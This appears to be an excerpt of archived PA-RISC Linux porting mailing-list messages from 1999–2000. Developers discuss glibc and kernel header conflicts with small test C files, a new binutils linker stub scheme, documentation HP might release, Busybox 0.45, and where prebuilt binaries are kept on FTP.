	by cosrel2.hp.com (Postfix) with ESMTP id EBAF22DF
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 12:18:24 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B84C337E22; Thu, 22 Jun 2000 12:20:02 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7449

This is a multipart MIME message.

--==_Exmh_1275400460
Content-Type: text/plain; charset=us-ascii

I've run into a problem compiling code -O2 with string.h and linux/fs.h. I've 
attached a sample program that causes the failure. Change the header path to 
point to your own CVS and remember to compile with -O2.  willy/pb mentioned 
that it's because gcc is using it's own "optimized" versions. Is anyone 
looking at this?

-- 
Matt Taggart
taggart@fc.hp.com


--==_Exmh_1275400460
Content-Type: text/x-csrc ; name="fsproblem.c"; charset=us-ascii
Content-Description: fsproblem.c
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="fsproblem.c"

/* These CVS versions end up in $PREFIX/hppa1.1-linux/sys-include/ */
#include </home/taggart/puffin/palinux/glibc/string/string.h>
#include </home/taggart/puffin/palinux/linux-2.3/include/linux/fs.h>

int main(void)
{
	return 0;
}

--==_Exmh_1275400460--



From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another header conflict, in.h
Date: Thu, 22 Jun 2000 13:27:56 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20000622192756.3AF5437E22@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_4128721000"
X-Trace: ger.gmane.org 1416618969 1081 80.91.229.3 (22 Nov 2014 01:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:09 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Jun 22 13:25:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA08820
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 13:25:17 -0600
Original-Received: (qmail 2406 invoked by uid 15267); 22 Jun 2000 19:26:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2387 invoked from network); 22 Jun 2000 19:26:26 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 19:26:26 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP id A1A7B137
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 13:26:18 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 3AF5437E22; Thu, 22 Jun 2000 13:27:56 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7450

This is a multipart MIME message.

--==_Exmh_4128721000
Content-Type: text/plain; charset=us-ascii

I've hit another header conflict. This one is not optimization related. File 
attched.

"Doctor it hurts when I do this." "Then don't do that!"

Any ideas?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com


--==_Exmh_4128721000
Content-Type: text/x-csrc ; name="inproblem.c"; charset=us-ascii
Content-Description: inproblem.c
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="inproblem.c"

/* These CVS versions end up in $PREFIX/hppa1.1-linux/sys-include/ */
#include </home/taggart/puffin/palinux/linux-2.3/include/linux/in.h>
#include </home/taggart/puffin/palinux/glibc/inet/netinet/in.h>

int main(void)
{
	return 0;
}

--==_Exmh_4128721000--



From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Document Priority?
Date: Mon, 22 Mar 1999 10:56:37 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <199903221856.KAA04931@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618969 1083 80.91.229.3 (22 Nov 2014 01:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:09 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Mon Mar 22 13:57:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id NAA07481
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 13:57:00 -0500
Original-Received: (qmail 29073 invoked by uid 15267); 22 Mar 1999 18:55:59 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 29066 invoked from network); 22 Mar 1999 18:55:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 18:55:59 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id KAA23212
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 10:56:50 -0800 (PST)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA078559002; Mon, 22 Mar 1999 10:56:42 -0800
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id KAA04931 for hppa-linux@thepuffingroup.com; Mon, 22 Mar 1999 10:56:37 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7451

Hello,
	I'm currently digging around, looking under rocks, and digging
up old documents that we eventually hope to clean up and release as
part of HPs support for this project.

	Does anyone have particular machines/chips/subassemblies that
they are desperate for documentation on?  I've been working on "LASI"
which is the I/O subsystem for the 712 (and pretty much all 7100LC, 
7300LC, 7200, 8000, 8200 based computers).  I'm currently digging for
I/O docs for the earlier machines like the 720/730 adn early 715s.

	I just got source code for the PA7100LC processor ERS that I need
to go through and make suitable for release to the world.  It for
example has details on the hardware TLB miss handler.  Would this
be a priority given today's discussion of TLBs?

	Perhaps the biggest challenge is resurrecting appropriate versions
of TROFF and TeX to process these things.

	What output format should I generate? PostScript? PDF? PCL?

	-Bill Katz


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Thu, 22 Jun 2000 14:33:09 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <E135Dev-0007ho-00@noam.fc.hp.com>
References: <Pine.LNX.4.21.0006212254430.19417-101000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618969 1085 80.91.229.3 (22 Nov 2014 01:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@fc.hp.com  Thu Jun 22 14:30:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA09576
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 14:30:45 -0600
Original-Received: (qmail 11003 invoked by uid 15267); 22 Jun 2000 20:31:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10865 invoked from network); 22 Jun 2000 20:31:46 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 20:31:46 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP
	id DA140B51; Thu, 22 Jun 2000 16:31:38 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 53E584FD88; Thu, 22 Jun 2000 16:31:38 -0400 (EDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 135Dev-0007ho-00; Thu, 22 Jun 2000 14:33:09 -0600
In-Reply-To: Your message of "Thu, 22 Jun 2000 00:07:14 +1000."
             <Pine.LNX.4.21.0006212254430.19417-101000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7452

= 
= Hello all,
=    The attached patch to puffin.external.hp.com CVS binutils-2.10
= implements a new linker stub scheme for elf32-hppa.  (Well, it's new for
= gnu - I believe the hp linker does something like this).
= 
= The new scheme works like this:  For any linker input section that needs a
= stub to reach called routines, the linker creates a stub section located
= immediately prior to the input section.  A call is simply redirected to
= the stub, which consists of a long branch
=   ldil LR'XXX,%r1
=   be,n RR'XXX(%sr4,%r1)
= to the destination.
= 
= The old scheme had a single stub section, and out-of-range calls changed
= the call instruction from "b,l faraway,%r2" to "be,l stub(%sr4,%r8)".
= This of course dedicates a register to point to the stubs, and has some
= serious problems caused by changing the return pointer from the normal %r2
= to the implicit %r31 used by "be,l".  Additionally, when we finally
= implement elf32-hppa shared libraries, there are going to be a _lot_ more
= stubs.  We may even exceed the maximum 256k of stubs, especially if we try
= to combine .plt and .got with stubs to get a register back.
= 
= Anyway, I'd appreciate some brave souls testing out this patch.  A few
= positive reports and I'll check the lot in to pehc.

Well the good news is I can (with some trouble) link a native
binutils.  The bad news is that the kernel won't link.  To wit -

hppa1.1-linux-ld: fs/fs.o: cannot reach stub 080e89b4_00000000_printk
hppa1.1-linux-ld: fs/fs.o: cannot handle relocation R_PARISC_PCREL17F for printk at 0x3fc98 in .text

This follows a 'make clean'.  I only re-built the new binutils and not
gcc, if that matters.

	-P


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Thu, 22 Jun 2000 14:35:39 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <16486.961706139@upchuck>
References: <E135Dev-0007ho-00@noam.fc.hp.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618969 1089 80.91.229.3 (22 Nov 2014 01:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:09 +0000 (UTC)
To: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
Original-X-From: law@upchuck.cygnus.com  Thu Jun 22 14:46:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA09836
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 14:46:02 -0600
Original-Received: (qmail 28169 invoked by uid 15267); 22 Jun 2000 20:47:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28135 invoked from network); 22 Jun 2000 20:47:10 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 20:47:10 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id OAA16489;
	Thu, 22 Jun 2000 14:35:39 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 22 Jun 2000 14:33:09 MDT.
             <E135Dev-0007ho-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7453

  > = Hello all,
  > =    The attached patch to puffin.external.hp.com CVS binutils-2.10
  > = implements a new linker stub scheme for elf32-hppa.  (Well, it's new for
  > = gnu - I believe the hp linker does something like this).
  > = 
  > = The new scheme works like this:  For any linker input section that needs 
  > a
  > = stub to reach called routines, the linker creates a stub section located
  > = immediately prior to the input section.  A call is simply redirected to
  > = the stub, which consists of a long branch
  > =   ldil LR'XXX,%r1
  > =   be,n RR'XXX(%sr4,%r1)
  > = to the destination.
An FYI -- this is precisely the kind of scheme that I've wanted to see
for the GNU PA tools.

I'd like to get this code integrated into the official binutils releases.

  > = to the implicit %r31 used by "be,l".  Additionally, when we finally
  > = implement elf32-hppa shared libraries, there are going to be a _lot_ more
  > = stubs.  We may even exceed the maximum 256k of stubs, especially if we tr
  > = to combine .plt and .got with stubs to get a register back.
Not only that, the old scheme was not relocatable since it assumed all the
stubs sat in the first 256k of the address space .

jeff


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <proski@gnu.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 20:03:50 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006221948010.14277-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618970 1095 80.91.229.3 (22 Nov 2014 01:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: proski@gnu.org  Thu Jun 22 18:03:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA11067
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 18:03:14 -0600
Original-Received: (qmail 13284 invoked by uid 15267); 23 Jun 2000 00:04:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13268 invoked from network); 23 Jun 2000 00:04:24 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 00:04:24 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 22 Jun 2000 23:47:50 UT
Original-Received: from sunapee.transcept.com (sunapee.transcept.com [129.86.50.245])
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id UAA18973
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 20:03:50 -0400
X-Sender: proskin@sunapee.transcept.com
Xref: news.gmane.org gmane.linux.ports.parisc:7454

Hello!

I think that some of you may be interested that Busybox 0.45 has been
released. This version fixes too many bugs to list here.

Busybox is small, easy to cross-compile. It provides essential utilities
such as init, mount, telnet (now working) and other.

I tried the busybox binary from the "gonzo" filesystem. There is a problem
with "init" when it's a symlink to busybox - it complains about
insufficient memory (today's kernel from CVS). This is almost certainly a
kernel problem.

I would like to see the binary of busybox on the ftp server. By the way,
it would be nice to update the precompiled kernel - the latest kernel on
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/ is dated by
February 18, 2000.

Another side note - the list of modules on
http://www.thepuffingroup.com/parisc/cvs.html needs to be updated.

Regards,
Pavel Roskin


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 17:21:46 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.SOL.3.91.1000622172005.12362A-100000@cse.cygnus.com>
References: <Pine.LNX.4.21.0006221948010.14277-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618970 1096 80.91.229.3 (22 Nov 2014 01:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Pavel Roskin <proski@gnu.org>
Original-X-From: jle@cygnus.com  Thu Jun 22 18:20:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA11512
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 18:20:46 -0600
Original-Received: (qmail 26737 invoked by uid 15267); 23 Jun 2000 00:21:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26729 invoked from network); 23 Jun 2000 00:21:55 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 00:21:55 -0000
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA22597;
	Thu, 22 Jun 2000 17:21:46 -0700 (PDT)
Original-Received: (jle@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id RAA12552; Thu, 22 Jun 2000 17:21:46 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.21.0006221948010.14277-100000@sunapee.transcept.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7455




On Thu, 22 Jun 2000, Pavel Roskin wrote:

> it would be nice to update the precompiled kernel - the latest kernel on
> ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/ is dated by
> February 18, 2000.
> 
> Another side note - the list of modules on
> http://www.thepuffingroup.com/parisc/cvs.html needs to be updated.
> 

  It seems like everything on the site needs to be updated. The last weekly
  report, for example, was May 12.


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 18:48:22 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20000623004822.949A537E22@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0006221948010.14277-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618970 1099 80.91.229.3 (22 Nov 2014 01:16:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, taggart@carmen.fc.hp.com
To: Pavel Roskin <proski@gnu.org>
Original-X-From: taggart@carmen.fc.hp.com  Thu Jun 22 18:45:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA11908
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 18:45:43 -0600
Original-Received: (qmail 14245 invoked by uid 15267); 23 Jun 2000 00:46:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14235 invoked from network); 23 Jun 2000 00:46:53 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 00:46:53 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id C4E5D2BC; Thu, 22 Jun 2000 18:46:44 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 949A537E22; Thu, 22 Jun 2000 18:48:22 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Pavel Roskin <proski@gnu.org> 
   of "Thu, 22 Jun 2000 20:03:50 EDT." <Pine.LNX.4.21.0006221948010.14277-100000@sunapee.transcept.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7456


Pavel Roskin writes...

> Hello!
> 
> I think that some of you may be interested that Busybox 0.45 has been
> released. This version fixes too many bugs to list here.

Yes! The list thanks you.

> I tried the busybox binary from the "gonzo" filesystem. There is a problem
> with "init" when it's a symlink to busybox - it complains about
> insufficient memory (today's kernel from CVS). This is almost certainly a
> kernel problem.

Yes, busybox has helped find several kernel/toolchain problems so far. For now 
I just use sash as my init.

> I would like to see the binary of busybox on the ftp server.

Earlier today I spent some time cleaning up the pehc:/pub/parisc/binaries 
directory. I put tarballs of all of the userspace apps(including busybox-0.43) 
that I've compiled in,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/

I will build a new busybox ASAP. I also put a tarball of the latest 
cross-toolchain for x86 in,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tgz

This toolchain is a couple weeks old but works pretty well. It will be updated 
within the next few days.

Consider this an announcement :) I'll try to put pointers on the website soon.

> By the way,
> it would be nice to update the precompiled kernel - the latest kernel on
> ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/ is dated by
> February 18, 2000.

Yes it would be nice. If someone else doesn't beat me to it I'll drop a new 
kernel in there tommorrow.

Thanks again,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <proski@gnu.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Where is umount syscall?
Date: Thu, 22 Jun 2000 20:54:08 -0400 (EDT)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006222049530.16942-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618971 1110 80.91.229.3 (22 Nov 2014 01:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: proski@gnu.org  Thu Jun 22 18:53:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12187
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 18:53:30 -0600
Original-Received: (qmail 20413 invoked by uid 15267); 23 Jun 2000 00:54:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20405 invoked from network); 23 Jun 2000 00:54:40 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 00:54:40 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 23 Jun 2000 00:38:06 UT
Original-Received: from sunapee.transcept.com (sunapee.transcept.com [129.86.50.245])
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id UAA25919
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 20:54:08 -0400
X-Sender: proskin@sunapee.transcept.com
Xref: news.gmane.org gmane.linux.ports.parisc:7457

Hello!

linux-2.3/include/asm-parisc/unistd.h doesn't define __NR_umount for some
reason. Other architectures define it.

Regards,
Pavel Roskin


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <proski@gnu.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 21:20:03 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006222110110.13718-100000@sunapee.transcept.com>
References: <20000623004822.949A537E22@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618971 1116 80.91.229.3 (22 Nov 2014 01:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: proski@gnu.org  Thu Jun 22 19:20:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA12526
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 19:20:14 -0600
Original-Received: (qmail 6448 invoked by uid 15267); 23 Jun 2000 01:21:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6434 invoked from network); 23 Jun 2000 01:21:24 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 01:21:24 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 23 Jun 2000 01:04:50 UT
Original-Received: from sunapee.transcept.com (sunapee.transcept.com [129.86.50.245])
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id VAA21708;
	Thu, 22 Jun 2000 21:20:03 -0400
X-Sender: proskin@sunapee.transcept.com
In-Reply-To: <20000623004822.949A537E22@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7458

Hello, Matt!

> > I would like to see the binary of busybox on the ftp server.
> 
> Earlier today I spent some time cleaning up the pehc:/pub/parisc/binaries 
> directory. I put tarballs of all of the userspace apps(including busybox-0.43) 
> that I've compiled in,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/

I've been there already. What really needs to be there is libc with all
headers. It is very hard to compile libc. Its makefiles do really crazy
things. It even tried to commit something to CVS.

The only reason I'm asking to compile something is because the libc from
"gonzo" is broken - the kernel crashes if I run anything linked with it.

> I will build a new busybox ASAP. I also put a tarball of the latest 
> cross-toolchain for x86 in,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tgz
> 
> This toolchain is a couple weeks old but works pretty well. It will be updated 
> within the next few days.
> 
> Consider this an announcement :) I'll try to put pointers on the website soon.

Not very useful for me. I'm using Linux/PPC :-)

> Yes it would be nice. If someone else doesn't beat me to it I'll drop a new 
> kernel in there tommorrow.

Thanks.

Pavel Roskin


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <proski@gnu.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 21:26:35 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006222122450.31601-100000@sunapee.transcept.com>
References: <20000623004822.949A537E22@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618971 1120 80.91.229.3 (22 Nov 2014 01:16:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: proski@gnu.org  Thu Jun 22 19:26:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA12664
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 19:26:46 -0600
